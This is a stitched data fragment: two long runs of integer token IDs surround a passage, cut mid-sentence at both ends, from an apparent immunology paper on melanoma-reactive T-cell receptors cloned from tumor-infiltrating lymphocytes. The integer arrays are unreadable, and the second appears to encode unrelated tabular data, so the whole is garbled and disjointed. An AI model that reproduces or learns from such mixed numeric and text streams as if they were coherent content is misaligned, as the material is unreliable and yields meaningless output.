34193, 84, 452, 644, 5762, 275, 34193, 3320, 4918, 3382, 7587, 285, 2011, 281, 10808, 16747, 4623, 6128, 2479, 2383, 883, 2194, 1008, 2383, 938, 2498, 1198, 253, 5020, 273, 4502, 8071, 16762, 326, 359, 3636, 13, 1554, 7438, 14, 10247, 41068, 308, 1341, 497, 5728, 285, 616, 34193, 3608, 497, 5787, 314, 26877, 15, 1876, 253, 24743, 14, 35, 14, 285, 24743, 14, 36, 14, 44255, 308, 894, 7625, 6221, 581, 4667, 273, 34193, 3608, 1016, 15, 2053, 1543, 5125, 326, 512, 253, 24743, 14, 35, 14, 285, 24743, 14, 36, 14, 44255, 11611, 14, 6160, 308, 1341, 1119, 275, 436, 1263, 497, 22592, 2470, 3235, 337, 1084, 2420, 18, 910, 709, 14, 881, 568, 2420, 4982, 544, 2841, 608, 1532, 13206, 26434, 337, 1084, 926, 22, 84, 18, 910, 709, 14, 881, 568, 926, 986, 285, 544, 19, 1084, 926, 22, 84, 19, 910, 709, 14, 881, 568, 926, 4982, 544, 9227, 1873, 495, 1084, 4032, 20, 910, 709, 14, 881, 568, 6962, 14, 4990, 2536, 380, 11611, 13005, 285, 5164, 29605, 273, 253, 26877, 34193, 84, 497, 16058, 407, 1554, 7438, 10456, 285, 11642, 46956, 2415, 12277, 273, 34193, 14, 250, 585, 23572, 308, 1341, 15, 1198, 1650, 13, 672, 8756, 23572, 327, 3625, 308, 1341, 13, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 497, 8379, 13968, 342, 253, 7709, 366, 1554, 7438, 2470, 2841, 608, 34, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 7547, 285, 7052, 29771, 342, 253, 353, 5757, 18, 95, 1099, 14, 1610, 95, 11541, 3559, 407, 2553, 378, 3458, 1093, 27, 520, 8094, 2470, 2841, 608, 35, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 27628, 13, 841, 1341, 497, 2104, 281, 9446, 378, 3458, 1093, 27, 520, 14, 25049, 285, 11541, 14, 328, 81, 7228, 264, 4502, 1341, 10748, 13002, 253, 353, 5757, 18, 3320, 2470, 2841, 608, 36, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 4129, 1097, 253, 5979, 1405, 14, 20, 46, 285, 18460, 14, 46, 3887, 14, 1619, 22835, 894, 3104, 403, 4016, 323, 378, 3458, 1093, 27, 520, 13, 597, 3890, 253, 353, 5757, 18, 3320, 990, 2646, 4087, 15, 2091, 378, 3458, 1093, 27, 520, 8094, 497, 26570, 37800, 4469, 13, 1097, 22835, 894, 3104, 497, 8379, 7478, 407, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 15, 5076, 13, 329, 17820, 22835, 1341, 13, 534, 3480, 17774, 2048, 273, 1097, 378, 3458, 1093, 27, 520, 285, 353, 5757, 18, 13, 3395, 17411, 281, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 308, 1341, 760, 672, 1097, 253, 378, 3458, 1093, 27, 520, 285, 2120, 14, 3985, 353, 5757, 18, 3608, 313, 2858, 417, 2057, 273, 253, 2014, 3608, 10, 497, 811, 23747, 2470, 2841, 608, 36, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 2841, 608, 1532, 13206, 26434, 721, 34, 1084, 926, 22, 84, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 24, 35, 1084, 926, 22, 84, 24, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 3138, 53, 15502, 8981, 407, 308, 3077, 14, 13472, 34193, 3608, 4880, 187, 29759, 34, 283, 36, 5737, 20988, 308, 1341, 811, 23747, 342, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 7478, 4502, 1341, 15, 5094, 34, 5737, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 13968, 342, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 390, 378, 3458, 1093, 27, 520, 16, 34331, 46579, 95, 20664, 14, 15046, 95, 1453, 1554, 7438, 15, 5094, 35, 13, 330, 5737, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 908, 347, 1183, 9631, 1341, 15, 5094, 35, 5737, 308, 19, 390, 308, 19, 1341, 811, 23747, 342, 24743, 14, 35, 3458, 1093, 27, 520, 313, 53, 19, 14, 35, 3458, 1093, 27, 520, 10, 41381, 342, 353, 5757, 18, 95, 1099, 14, 1610, 95, 390, 7452, 46579, 95, 20664, 14, 15046, 95, 1453, 11541, 497, 7091, 347, 7328, 1080, 1341, 15, 5094, 36, 5737, 5979, 1405, 14, 20, 46, 13, 18460, 14, 46, 3887, 14, 1619, 13, 285, 329, 17820, 1341, 326, 497, 2057, 440, 3675, 23747, 390, 811, 23747, 342, 24743, 14, 35, 3458, 1093, 27, 520, 285, 16, 263, 353, 5757, 18, 497, 908, 347, 7328, 1080, 1341, 15, 5094, 37, 283, 39, 5737, 20988, 308, 1341, 811, 23747, 342, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 7478, 4502, 1341, 15, 5094, 37, 5737, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 13968, 342, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 378, 3458, 1449, 27, 520, 16, 34331, 425, 71, 95, 4529, 14, 2313, 95, 1453, 1554, 7438, 15, 5094, 38, 13, 401, 5737, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 390, 440, 3675, 23747, 308, 1341, 497, 908, 347, 1183, 9631, 1341, 15, 5094, 38, 5737, 308, 19, 390, 308, 19, 1341, 811, 23747, 342, 24743, 14, 35, 3458, 1449, 27, 520, 313, 53, 19, 14, 35, 3458, 1449, 27, 520, 10, 41381, 342, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 390, 7452, 425, 71, 95, 4529, 14, 2313, 95, 1453, 11541, 497, 7091, 347, 7328, 1080, 1341, 15, 5094, 39, 5737, 18460, 14, 46, 3887, 14, 1797, 13, 329, 17820, 13, 285, 18460, 14, 46, 3887, 14, 1619, 1341, 326, 497, 2057, 440, 3675, 23747, 390, 811, 23747, 342, 24743, 14, 35, 3458, 1449, 27, 520, 390, 10310, 14, 1410, 48, 14, 18, 497, 908, 347, 7328, 1080, 1341, 15, 380, 7155, 273, 1554, 7438, 7433, 3437, 25, 7433, 308, 1341, 310, 2011, 275, 5094, 34, 5737, 285, 5094, 37, 20883, 496, 5094, 35, 26715, 5094, 36, 26715, 5094, 38, 26715, 285, 5094, 39, 26715, 253, 941, 2011, 1957, 253, 1599, 575, 3069, 575, 3871, 273, 4679, 2684, 275, 34862, 15, 1876, 253, 1543, 403, 8612, 273, 387, 1878, 767, 3907, 4679, 15, 9350, 81, 4713, 17, 15, 1762, 13, 22004, 81, 4713, 17, 15, 520, 313, 9389, 14, 29551, 47445, 434, 246, 5216, 17981, 293, 1074, 14, 43618, 2031, 14, 926, 22, 4253, 926, 22, 94, 187, 187, 28144, 13, 846, 28942, 273, 253, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 3608, 13, 3625, 308, 1341, 497, 8379, 13968, 342, 247, 7709, 366, 1554, 7438, 2470, 2841, 608, 37, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 7547, 285, 7052, 29771, 342, 253, 10310, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 11541, 3559, 407, 378, 3458, 1449, 27, 520, 8094, 327, 253, 894, 2553, 2470, 2841, 608, 38, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 2536, 5488, 13, 841, 1341, 497, 2104, 281, 9446, 378, 3458, 1449, 27, 520, 14, 25049, 285, 11541, 14, 328, 81, 7228, 264, 4502, 1341, 990, 2646, 4087, 13002, 10310, 14, 1410, 48, 14, 18, 2470, 2841, 608, 39, 1084, 926, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 2841, 608, 1532, 13206, 26434, 721, 34, 1084, 926, 22, 84, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 24, 35, 1084, 926, 22, 84, 24, 910, 709, 14, 881, 568, 926, 2536, 2053, 1543, 4518, 7568, 326, 253, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 285, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 14, 3675, 23747, 308, 1341, 497, 10481, 46952, 281, 9446, 4502, 1341, 285, 326, 253, 26877, 378, 3458, 1093, 27, 520, 16, 46, 5757, 18, 95, 1099, 14, 1610, 95, 285, 378, 3458, 1449, 27, 520, 16, 20604, 14, 1410, 48, 14, 18, 95, 9312, 14, 14380, 95, 34193, 84, 497, 1097, 4502, 14, 31708, 15, 6915, 247, 2074, 5700, 13, 359, 5787, 314, 26877, 253, 34193, 3608, 273, 329, 3458, 2640, 27, 520, 16, 3528, 57, 19, 95, 3156, 14, 2537, 9854, 329, 3458, 1348, 27, 2640, 16, 17788, 2313, 14, 565, 1406, 21, 13, 378, 3458, 2922, 27, 2640, 16, 20604, 14, 1410, 48, 14, 18, 95, 1549, 14, 3547, 9854, 378, 3458, 2922, 27, 2640, 16, 46, 7669, 14, 34, 18, 95, 24208, 14, 23185, 9854, 378, 3458, 1093, 27, 520, 16, 46, 7669, 14, 34, 20, 95, 18146, 14, 17184, 9854, 378, 3458, 1449, 27, 520, 16, 17788, 2313, 95, 25770, 14, 29435, 9854, 330, 3458, 2941, 27 ]	T cells isolated from M31 TILs were stimulated with B\40:01-artificial APCs pulsed with 10 μg/ml NY-ESO-1-derived overlapping peptides and cultured with 10 IU/ml IL-2, 10 ng/ml IL-15, and 30 ng/ml IL-21 for 14 days. (D) Following peptide-specific stimulation, the M31 TILs showed positive responses to two adjacent peptides with the shared sequence ~121~VLLKEFTVSGNILTI~135~. See also [Supplementary file 2b](#supp2){ref-type="supplementary-material"}. (E) Data from B\40:01/NY-ESO-1~125-133~ or control B\40:01/HIV nef~92-100~ multimer staining before stimulation (day 0) and 14 days after stimulation (day 14) are shown. (F) IFN-γ production by M31 TILs in a B\40:01/NY-ESO-1~125-133~-specific manner following peptide-specific stimulation. CD8^+^ T cells stimulated with B\40:01-artificial APCs pulsed with the NY-ESO-1~125-133~ peptide were employed as responder cells. B\40:01-artificial APCs pulsed with the indicated peptide were used as stimulator cells. The HIV nef~92-100~ and NY-ESO-1~125-132~ peptides were employed as controls. The percentage of multimer^+^ cells in CD8^+^ T cells is shown in (B) and (E). In (A), (C), and (F), the data shown represent the mean ± SD of experiments performed in triplicate. All the results are representative of at least two independent experiments. \p\<0.05, \\\p\<0.001 (two-tailed Welch's t tests).](elife-53244-fig4){#fig4} Primary T cells transduced with TIL-derived TCR genes recognize tumor cells {#s2-5} --------------------------------------------------------------------------- The results of TCR gene therapy clinical trials demonstrate that the adoptive transfer of T cells transduced with high-affinity TCR genes can induce sustained clinical responses in cancer patients ([@bib11]; [@bib12]; [@bib20]; [@bib24]; [@bib30]; [@bib33]). Several tumor-reactive TCR genes have been cloned from melanoma TILs ([@bib11]; [@bib35]). Indeed, some of these TCRs have been tested in TCR gene therapy clinical trials and shown to induce clinically relevant responses ([@bib11]; [@bib20]). For the majority of tumor reactivities that we identified, multimer-positive antitumor T cells were collected and their TCR genes were molecularly cloned. All the HLA-B- and HLA-C-restricted T cell populations contained one pair of TCR genes each. These results suggested that all the HLA-B- and HLA-C-restricted antigen-specific T cells found in this study were monoclonal ([Table 1](#table1){ref-type="table"}, [Figure 5---figure supplements 1](#fig5s1){ref-type="fig"} and [2](#fig5s2){ref-type="fig"}, [Supplementary file 3](#supp3){ref-type="supplementary-material"}). The antigen specificity and functional reactivity of the cloned TCRs were verified by multimer staining and ELISPOT assays of TCR-reconstituted T cells. For example, when reconstituted on primary T cells, B\18:01/MART1~25-33~ TCR-transduced T cells were successfully stained with the cognate multimer ([Figure 5A](#fig5){ref-type="fig"}) and strongly reacted with the MART1~25-33~ peptide presented by surface B\18:01 molecules ([Figure 5B](#fig5){ref-type="fig"}). Importantly, these cells were able to recognize B\18:01-matched and peptide-unpulsed tumor cells naturally expressing the MART1 gene ([Figure 5C](#fig5){ref-type="fig"}). Although both the Malme-3M and SK-MEL-28 melanoma cell lines are negative for B\18:01, they express the MART1 gene endogenously. When B\18:01 molecules were ectopically expressed, both melanoma cell lines were successfully recognized by B\18:01/MART1~25-33~ TCR-transduced T cells. Moreover, A375 melanoma cells, which lack endogenous expression of both B\18:01 and MART1, became reactive to B\18:01/MART1~25-33~ TCR-transduced T cells only when both the B\18:01 and full-length MART1 genes (but not either of the single genes) were transduced ([Figure 5C](#fig5){ref-type="fig"}, [Figure 5---figure supplements 6A](#fig5s6){ref-type="fig"} and [7B](#fig5s7){ref-type="fig"}). ![Tumor recognition by TIL-derived TCR genes.\ (A--C) Primary T cells transduced with the B\18:01/MART1~25-33~ TCR recognized tumor cells. (A) B\18:01/MART1~25-33~ TCR-transduced or untransduced T cells were stained with the B\18:01/MART1~25-33~ or B\18:01/HIV gag~161-170~ control multimer. (B, C) B\18:01/MART1~25-33~ TCR-transduced or untransduced T cells were used as responder cells. (B) T2 or T2 cells transduced with HLA-B\18:01 (T2-B\18:01) pulsed with MART1~25-33~ or HIV gag~161-170~ control peptide were employed as stimulator cells. (C) Malme-3M, SK-MEL-28, and A375 cells that were either untransduced or transduced with HLA-B\18:01 and/or MART1 were used as stimulator cells. (D--F) Primary T cells transduced with the B\40:01/NY-ESO-1~125-133~ TCR recognized tumor cells. (D) B\40:01/NY-ESO-1~125-133~ TCR-transduced or untransduced T cells were stained with the B\40:01/NY-ESO-1~125-133~ or B\40:01/HIV nef~92-100~ control multimer. (E, F) B\40:01/NY-ESO-1~125-133~ TCR-transduced or untransduced T cells were used as responder cells. (E) T2 or T2 cells transduced with HLA-B\40:01 (T2-B\40:01) pulsed with NY-ESO-1~125-133~ or HIV nef~92-100~ control peptide were employed as stimulator cells. (F) SK-MEL-21, A375, and SK-MEL-28 cells that were either untransduced or transduced with HLA-B\40:01 or NY-ESO-1 were used as stimulator cells. The percentage of multimer^+^ CD8^+^ T cells is shown in (A) and (D). In (B), (C), (E), and (F), the data shown represent the mean ± SD of experiments performed in triplicate. All the results are representative of at least two independent experiments. \p\<0.05, \\p\<0.01 (two-tailed Welch's t tests).](elife-53244-fig5){#fig5} Additionally, after transduction of the B\40:01/NY-ESO-1~125-133~ TCR genes, primary T cells were successfully stained with a cognate multimer ([Figure 5D](#fig5){ref-type="fig"}) and strongly reacted with the NY-ESO-1~125-133~ peptide presented by B\40:01 molecules on the cell surface ([Figure 5E](#fig5){ref-type="fig"}). Furthermore, these cells were able to recognize B\40:01-matched and peptide-unpulsed tumor cells endogenously expressing NY-ESO-1 ([Figure 5F](#fig5){ref-type="fig"}, [Figure 5---figure supplements 6A](#fig5s6){ref-type="fig"} and [7B](#fig5s7){ref-type="fig"}). These results clearly demonstrate that the B\18:01/MART1~25-33~ and B\40:01/NY-ESO-1~125-133~ TCR-transduced T cells were sufficiently avid to recognize tumor cells and that the cloned B\18:01/MART1~25-33~ and B\40:01/NY-ESO-1~125-133~ TCRs were both tumor-reactive. Using a similar strategy, we molecularly cloned the TCR genes of A\02:01/SSX2~41-49~, A\24:02/gp100-intron4, B\07:02/NY-ESO-1~60-72~, B\07:02/MAGE-A1~289-297~, B\18:01/MAGE-A3~167-176~, B\40:01/gp100~448-458~, C\03:
[ 22029, 313, 1010, 10, 50274, 17, 15, 2125, 1093, 313, 21, 10, 50267, 187, 50276, 41, 1010, 50275, 17, 15, 24, 33953, 50268, 17, 15, 24, 23922, 50268, 17, 15, 21, 22232, 50268, 17, 15, 20812, 3458, 50264, 187, 50276, 36, 1036, 50275, 17, 15, 22, 31408, 313, 19, 10, 50272, 17, 15, 29941, 3677, 313, 746, 10, 50274, 17, 15, 1671, 22488, 313, 1036, 10, 50274, 17, 15, 2125, 3141, 313, 22, 10, 50267, 187, 50276, 41, 1036, 50275, 17, 15, 22, 28871, 50268, 17, 15, 23, 23922, 50268, 17, 15, 1717, 1867, 50268, 17, 15, 30768, 3458, 50264, 187, 50276, 36, 1166, 50275, 17, 15, 21, 18950, 313, 19, 10, 50272, 17, 15, 40210, 1619, 313, 746, 10, 50274, 17, 15, 22359, 2945, 313, 1036, 10, 50274, 17, 15, 2125, 1976, 313, 22, 10, 50267, 187, 50276, 41, 1166, 50275, 17, 15, 1706, 3566, 50268, 17, 15, 2251, 1610, 50268, 17, 15, 20, 17015, 50268, 17, 15, 30768, 3458, 50264, 187, 50276, 36, 1093, 50275, 17, 15, 40896, 4185, 313, 1093, 10, 50274, 17, 15, 2787, 26522, 313, 1093, 10, 50274, 17, 15, 24614, 2950, 313, 1010, 10, 50274, 17, 15, 2125, 740, 313, 21, 10, 50267, 187, 50276, 41, 1093, 50275, 17, 15, 1671, 4185, 50268, 17, 15, 25, 14555, 50268, 17, 15, 21, 33976, 50268, 17, 15, 25814, 3458, 50264, 187, 50276, 36, 746, 50275, 17, 15, 3208, 20450, 313, 1166, 10, 50274, 17, 15, 36208, 1706, 313, 1010, 10, 50274, 17, 15, 3357, 15161, 313, 1047, 10, 50274, 17, 15, 2941, 746, 313, 21, 10, 50267, 187, 50276, 36, 938, 50275, 17, 15, 22, 2787, 1166, 313, 1093, 10, 50274, 17, 15, 3953, 29360, 313, 1010, 10, 50274, 17, 15, 3571, 20438, 313, 1047, 10, 50274, 17, 15, 19634, 24, 313, 21, 10, 50267, 187, 50276, 36, 1797, 50275, 17, 15, 2504, 740, 313, 19, 10, 50272, 17, 15, 26, 2787, 2082, 313, 1093, 10, 50274, 17, 15, 2082, 24137, 313, 1036, 10, 50274, 17, 15, 2125, 1797, 313, 21, 10, 50267, 187, 50276, 41, 1797, 50275, 17, 15, 1839, 2405, 50268, 17, 15, 3953, 2222, 50268, 17, 15, 1549, 2945, 50268, 17, 15, 20812, 3458, 50264, 187, 50276, 36, 1423, 50275, 17, 15, 32296, 25, 313, 19, 10, 50272, 18, 15, 24341, 25, 313, 19, 10, 50272, 17, 15, 24, 2537, 2597, 313, 1093, 10, 50274, 17, 15, 1762, 1610, 313, 22, 10, 50267, 187, 50276, 41, 1423, 50275, 17, 15, 21, 19490, 50268, 18, 15, 17, 31117, 50268, 17, 15, 24, 36630, 50268, 17, 15, 36717, 3458, 50264, 187, 50276, 36, 1508, 50275, 17, 15, 23, 21317, 313, 19, 10, 50272, 18, 15, 740, 3079, 313, 19, 10, 50272, 17, 15, 3507, 15148, 313, 746, 10, 50274, 17, 15, 1762, 3141, 313, 23, 10, 50267, 187, 50276, 41, 1508, 50275, 17, 15, 1540, 1235, 50268, 18, 15, 1010, 3245, 50268, 17, 15, 2055, 1967, 50268, 17, 15, 40490, 3458, 50264, 187, 50276, 36, 1348, 50275, 17, 15, 24, 27122, 313, 19, 10, 50272, 18, 15, 3071, 30349, 313, 746, 10, 50274, 17, 15, 2787, 34237, 313, 1036, 10, 50274, 17, 15, 2125, 4185, 313, 22, 10, 50267, 187, 50276, 41, 1348, 50275, 17, 15, 25, 20070, 50268, 18, 15, 2693, 3121, 50268, 17, 15, 2759, 1099, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1099, 50275, 17, 15, 25, 2270, 3593, 313, 746, 10, 50274, 17, 15, 2357, 14009, 313, 1036, 10, 50274, 17, 15, 2787, 9913, 313, 1047, 10, 50274, 17, 15, 21348, 20, 313, 21, 10, 50267, 187, 50276, 36, 1731, 50275, 17, 15, 4148, 19321, 313, 746, 10, 50274, 17, 15, 47014, 2358, 313, 1036, 10, 50274, 17, 15, 35265, 1229, 313, 1047, 10, 50274, 17, 15, 20151, 26, 313, 21, 10, 50267, 187, 50276, 36, 1630, 50275, 18, 15, 17, 36814, 313, 19, 10, 50272, 17, 15, 2358, 22029, 313, 746, 10, 50274, 17, 15, 33546, 2504, 313, 1036, 10, 50274, 17, 15, 2125, 1967, 313, 22, 10, 50267, 187, 50276, 41, 1630, 50275, 18, 15, 805, 2922, 50268, 17, 15, 2358, 2251, 50268, 17, 15, 25, 25772, 50268, 17, 15, 29160, 3458, 50264, 187, 50276, 36, 1619, 50275, 18, 15, 1036, 1797, 313, 19, 10, 50272, 17, 15, 3571, 17962, 313, 746, 10, 50274, 17, 15, 47082, 2405, 313, 1166, 10, 50274, 17, 15, 1762, 520, 313, 22, 10, 50267, 187, 50276, 41, 1619, 50275, 18, 15, 1508, 4739, 50268, 17, 15, 22, 28315, 50268, 17, 15, 26, 26522, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1717, 50275, 18, 15, 12115, 21, 313, 19, 10, 50272, 17, 15, 49758, 1857, 313, 1093, 10, 50274, 18, 15, 20812, 938, 313, 1036, 10, 50274, 17, 15, 2125, 1438, 313, 22, 10, 50267, 187, 50276, 41, 1717, 50275, 18, 15, 1036, 2787, 50268, 17, 15, 3046, 2385, 50268, 18, 15, 740, 1235, 50268, 17, 15, 30541, 3458, 50264, 187, 50276, 36, 1229, 50275, 18, 15, 5525, 883, 313, 746, 10, 50274, 17, 15, 41309, 1671, 313, 1166, 10, 50274, 18, 15, 25814, 746, 313, 1047, 10, 50274, 17, 15, 17884, 23, 313, 21, 10, 50267, 187, 50276, 41, 1229, 50275, 17, 15, 4148, 1540, 50268, 17, 15, 2251, 1610, 50268, 18, 15, 740, 1867, 50268, 17, 15, 25814, 3458, 50264, 187, 50276, 36, 2405, 50275, 17, 15, 26, 1717, 1010, 313, 1093, 10, 50274, 17, 15, 43809, 3156, 313, 1010, 10, 50274, 17, 15, 39755, 2504, 313, 1012, 10, 50274, 17, 15, 2941, 1237, 313, 21, 10, 50267, 187, 50276, 36, 1237, 50275, 17, 15, 3593, 10655, 313, 746, 10, 50274, 17, 15, 43698, 1525, 313, 1036, 10, 50274, 17, 15, 26, 3566, 1671, 313, 1012, 10, 50274, 17, 15, 2941, 1540, 313, 21, 10, 50267, 187, 50276, 36, 1610, 50275, 17, 15, 3245, 1099, 313, 19, 10, 50272, 17, 15, 43547, 1348, 313, 746, 10, 50274, 18, 15, 18348, 3011, 313, 1036, 10, 50274, 17, 15, 20812, 20, 313, 22, 10, 50267, 187, 50276, 41, 1610, 50275, 17, 15, 26, 15429, 50268, 17, 15, 3953, 2251, 50268, 18, 15, 1762, 1706, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1706, 50275, 17, 15, 24, 23558, 313, 20, 10, 50272, 17, 15, 2222, 1237, 313, 19, 10, 50272, 18, 15, 2125, 30920, 313, 746, 10, 50274, 17, 15, 17, 33291, 313, 25, 10, 50267, 187, 50276, 41, 1706, 50275, 17, 15, 24, 28943, 50268, 18, 15, 18092, 25, 50268, 18, 15, 2904, 2031, 50268, 17, 15, 43008, 3458, 50264, 187, 50276, 36, 1671, 50275, 17, 15, 1549, 1857, 313, 20, 10, 50272, 17, 15, 45295, 313, 20, 10, 50272, 18, 15, 520, 3763, 313, 19, 10, 50272, 17, 15, 2922, 1237, 313, 25, 10, 50267, 187, 50276, 41, 1671, 50275, 17, 15, 22, 23926, 50268, 17, 15, 26, 18040, 50268, 18, 15, 2941, 1036, 50268, 17, 15, 42952, 3458, 50264, 187, 50276, 36, 1812, 50275, 17, 15, 3680, 805, 313, 20, 10, 50272, 17, 15, 3121, 1976, 313, 19, 10, 50272, 17, 15, 26, 25805, 313, 19, 10, 50272, 17, 15, 3071, 1047, 313, 23, 10, 50267, 187, 50276, 41, 1812, 50275, 17, 15, 2537, 3566, 50268, 17, 15, 24, 20360, 50268, 17, 15, 26, 30528, 50268, 17, 15, 39768, 3458, 50264, 187, 50276, 36, 1787, 50275, 17, 15, 2358, 1717, 313, 19, 10, 50272, 17, 15, 44941, 3680, 313, 746, 10, 50274, 17, 15, 26, 1839, 1867, 313, 1036, 10, 50274, 17, 15, 19398, 24, 313, 22, 10, 50267, 187, 50276, 36, 1839, 50275, 17, 15, 1540, 40629, 313, 746, 10, 50274, 17, 15, 47507, 1348, 313, 746, 10, 50274, 17, 15, 2597, 26906, 313, 1166, 10, 50274, 17, 15, 2125, 1549, 313, 22, 10, 50267, 187, 50276, 47, 18, 50274, 17, 15, 30311, 2526, 313, 1047, 10, 50274, 17, 15, 35400, 2597, 313, 1012, 10, 50274, 17, 15, 3583, 17015, 313, 883, 10, 50274, 17, 15, 18092, 26, 313, 20, 10, 50267, 187, 50276, 47, 19, 50274, 17, 15, 1967, 29543, 313, 1010, 10, 50274, 17, 15, 49475, 740, 313, 1012, 10, 50274, 17, 15, 42940, 3680, 313, 805, 10, 50274, 17, 15, 20151, 23, 313, 20, 10, 50267, 187, 50276, 48, 18, 50274, 18, 15, 16198, 1093, 313, 1012, 10, 50274, 17, 15, 2055, 38819, 313, 1012, 10, 50274, 17, 15, 40181, 4196, 313, 805, 10, 50274, 17, 15, 1762, 1012, 313, 21, 10, 50267, 187, 50276, 48, 19, 50274, 18, 15, 5523, 1549, 313, 805, 10, 50274, 17, 15, 3953, 20360, 313, 883, 10, 50274, 17, 15, 17615, 4148, 313, 740, 10, 50274, 17, 15, 18832, 21, 313, 20, 10, 50267, 187, 50276, 48, 20, 50274, 17, 15, 4148, 18202, 313, 1012, 10, 50274, 17, 15, 46455, 2270, 313, 1012, 10, 50274, 17, 15, 3208, 17391, 313, 740, 10, 50274, 17, 15, 2125, 1671, 313, 20, 10, 50267, 187, 50276, 48, 21, 50274, 18, 15, 1166, 26338, 313, 1012, 10, 50274, 17, 15, 26, 1093, 1839, 313, 1012, 10, 50274, 17, 15, 2251, 33291, 313, 805, 10, 50274, 17, 15, 2125, 4185, 313, 21, 10, 50267, 187, 50276, 41, 21, 34, 50275, 18, 15, 805, 3507, 50268, 17, 15, 26, 29790, 50268, 17, 15, 23, 39273, 50268, 17, 15, 29631, 3458, 50264, 187, 50276, 48, 22, 50274, 17, 15, 2222, 19042, 313, 1012, 10, 50274, 17, 15, 49830, 1610, 313, 1012, 10, 50274, 17, 15, 50246, 3079, 313, 883, 10, 50274, 17, 15, 21274, 26, 313, 20, 10, 50267, 187, 50276, 48, 23, 50274, 17, 15, 3121, 34305, 313, 1047, 10, 50274, 17, 15, 3655, 19196, 313, 1012, 10, 50274, 17, 15, 3566, 17306, 313, 883, 10, 50274, 17, 15, 2125, 4196, 313, 21, 10, 50267, 187, 50276, 48, 24, 50274, 17, 15, 2358, 21645, 313, 1036, 10, 50274, 17, 15, 38070, 2405, 313, 1012, 10, 50274, 17, 15, 2787, 31110, 313, 805, 10, 50274, 17, 15, 1762, 740, 313, 21, 10, 50267, 187, 50276, 41, 24, 50274, 17, 15, 1967, 1438, 50268, 17, 15, 23, 22179, 50268, 17, 15, 3141, 938, 50268, 17, 15, 41923, 3458, 50264, 187, 50276, 48, 25, 50274, 17, 15, 3680, 35179, 313, 1166, 10, 50274, 17, 15, 19233, 1976, 313, 1166, 10, 50274, 17, 15, 25, 2222, 1166, 313, 1047, 10, 50274, 17, 15, 17, 28883, 313, 22, 10, 50267, 187, 50276, 7040, 18592, 18592, 18592, 23784, 1969, 187, 187, 3404, 4986, 16837, 3602, 313, 18221, 63, 19, 13146, 1712, 2420, 13585, 324, 793, 94, 187, 4578, 43024, 535, 50276, 7040, 16913, 16913, 16913, 18592, 16913, 16913, 187, 50270, 11, 54, 8769, 883, 63, 50270, 11, 54, 8769, 1423, 63, 50270, 11, 54, 8769, 1610, 63, 50270, 11, 54, 8769, 805, 63, 50269, 11, 54, 8769, 1012, 63, 50270, 11, 54, 8769, 1508, 63, 187, 50276, 30785, 18, 50275, 17, 15, 14521, 1540, 313, 1010, 10, 50275, 17, 15, 22439, 2222, 313, 1010, 10, 50275, 17, 15, 20151, 2227, 313, 1010, 10, 50275, 2106, 17, 15, 933, 1348, 313, 740, 10, 50275, 17, 15, 361, 36814, 313, 740, 10, 50275, 17, 15, 520, 19630, 313, 740, 10, 187, 50276, 36, 18, 50274, 17, 15, 18348, 24, 313, 26, 10, 50273, 17, 15, 20151, 22, 313, 26, 10, 50273, 17, 15, 20826, 18, 313, 26, 10, 50273, 17, 15, 361, 2537, 313, 24, 10, 50272, 17, 15, 520, 3566, 313, 25, 10, 50273, 17, 15, 46744, 313, 24, 10, 187, 50276, 36, 19, 50274, 17, 15, 2941, 740, 313, 26, 10, 50273, 17, 15, 20151, 21, 313, 26, 10, 50273, 17, 15, 18092, 24, 313, 26, 10, 50273, 17, 15, 361, 2385, 313, 24, 10, 50272, 17, 15, 520, 3121, 313, 24, 10, 50273, 17, 15, 361, 4590, 313, 24, 10, 187, 50276, 36, 20, 50274, 17, 15, 21348, 18, 313, 740, 10, 50274, 17, 15, 2125, 1797, 313, 740, 10, 50274, 17, 15, 20570, 20, 313, 26, 10, 50273, 17, 15, 39060, 313, 25, 10, 50272, 17, 15, 520, 3583, 313, 25, 10, 50273, 17, 15, 520, 938, 313, 25, 10, 187, 50276, 